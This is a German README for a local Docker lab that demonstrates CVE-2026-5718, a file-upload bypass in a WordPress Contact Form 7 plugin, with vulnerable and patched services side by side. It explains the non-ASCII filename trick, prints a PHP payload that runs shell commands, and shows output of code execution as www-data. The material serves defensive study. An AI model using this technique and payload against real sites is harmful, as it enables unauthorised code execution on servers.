
# Lokales Docker-Labor zur Demonstration von CVE-2026-5718 – beliebigem Datei-Upload in einem WordPress-Plugin, mit verwundbaren und gepatchten Diensten für die parallele Analyse von Ausnutzung und Abwehr.
Nur-lokales Docker-Labor mit verwundbarer und gepatchter Umgebung für CVE-2026-5718, das das WordPress-Plugin Drag and Drop Multiple File Upload for Contact Form 7 betrifft.
Dieses Labor demonstriert den Unterschied zwischen der verwundbaren Version 1.3.9.6 und der gepatchten Version 1.3.9.7 mithilfe eines PHP-Ausführungsnachweises mit minimalem Schadenspotenzial in einer reinen Docker-Umgebung.
Geltungsbereich: nur localhost / Docker-Netzwerk. Verwenden Sie diesen PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.
CVE-2026-5718 ist eine Schwachstelle für beliebigen Datei-Upload in Drag and Drop Multiple File Upload for Contact Form 7 bis einschließlich Version 1.3.9.6.
Das Problem wird ausgelöst, wenn benutzerdefinierte Blacklist-Typen konfiguriert sind und ein Dateiname Nicht-ASCII-Zeichen enthält. In der verwundbaren Version kann ein gefährlicher .php-Upload den vorgesehenen Schutz umgehen und ausführbar bleiben. Version 1.3.9.7 behebt das Problem, indem derselbe Upload abgelehnt wird.
Dieses Repository enthält zwei lokale WordPress-Dienste:
vuln auf http://localhost:8081 mit Plugin-Version 1.3.9.6patched auf http://localhost:8082 mit Plugin-Version 1.3.9.7Host
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
| Dienst | Zweck | Host-Port | Version |
|---|---|---|---|
vuln | Verwundbares WordPress-Labor | 8081 | Plugin 1.3.9.6 |
patched | Gepatchtes WordPress-Labor | 8082 | Plugin 1.3.9.7 |
vuln-db | MySQL-Datenbank für den verwundbaren Dienst | intern | MySQL 8.0 |
patched-db | MySQL-Datenbank für den gepatchten Dienst | intern | MySQL 8.0 |
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Das eingerichtete Contact-Form-7-Formular enthält ein Drag and Drop Multiple File Upload-Feld:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
Der PoC lädt eine PHP-Nachweisdatei mit folgendem Namen hoch:
proof-β.php
Das Zeichen β ist kein ASCII-Zeichen. Das ist wichtig, weil die Schwachstelle von der Dateinamenverarbeitung bei Nicht-ASCII-Eingaben abhängt.
Überblick über den Ablauf:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
Ablauf mit Patch:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
Der hochgeladene PHP-Nachweis ist bewusst minimal gehalten:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
Der Nachweis führt nur whoami und id aus, um den Ausführungskontext zu zeigen. Er verwendet keine Reverse Shell, keine Persistenz, keinen Zugriff auf Anmeldedaten, keine laterale Bewegung, kein Netzwerk-Scanning und keine destruktiven Aktionen.
Der verwundbare Dienst erlaubt absichtlich die PHP-Ausführung im Upload-Verzeichnis des Plugins, damit die Auswirkung in diesem lokalen Labor beobachtbar ist. Der gepatchte Dienst behält das sicherere Verhalten bei und lehnt den Upload bereits in der Anwendungsvalidierungsschicht ab.
Python-Abhängigkeiten installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Von einem sauberen Zustand aus starten:
docker compose down -v
docker compose up --build -d
Dienststatus prüfen:
docker compose ps
Die Laborseiten öffnen:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
Gegen den verwundbaren Dienst ausführen:
python poc/poc.py --base-url http://localhost:8081
Gegen den gepatchten Dienst ausführen:
python poc/poc.py --base-url http://localhost:8082
Der PoC akzeptiert nur localhost- oder Loopback-Ziele.
Erwartetes Verhalten:
.php-Datei.Beispielausgabe:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
Erwartetes Verhalten:
Beispielausgabe:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
Dieses Labor ist bewusst auf lokale Tests beschränkt.
Der PoC:
whoami und id aus.Der verwundbare Dienst lockert die PHP-Ausführung im Upload-Verzeichnis nur, um den lokalen Nachweis beobachtbar zu machen. Übernehmen Sie diese Konfiguration nicht in die Produktion.
Container stoppen:
docker compose down
Container und Volumes entfernen:
docker compose down -v
Die Python-Virtual-Environment entfernen:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack-Sicherheitshinweis: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Nicht authentifizierter beliebiger Datei-Upload über Nicht-ASCII-Dateinamen-Blacklist-Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Nicht authentifizierter beliebiger Datei-Upload über Nicht-ASCII-Dateinamen-Blacklist-Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
WordPress.org-Plugin-Seite: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
Plugin-Anbieterseite: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
Dieses Repository dient ausschließlich der Ausbildung und der defensiven Sicherheitsforschung. Es ist dafür ausgelegt, nur auf localhost mit Docker ausgeführt zu werden. Verwenden Sie den PoC nicht gegen öffentliche oder fremde Systeme.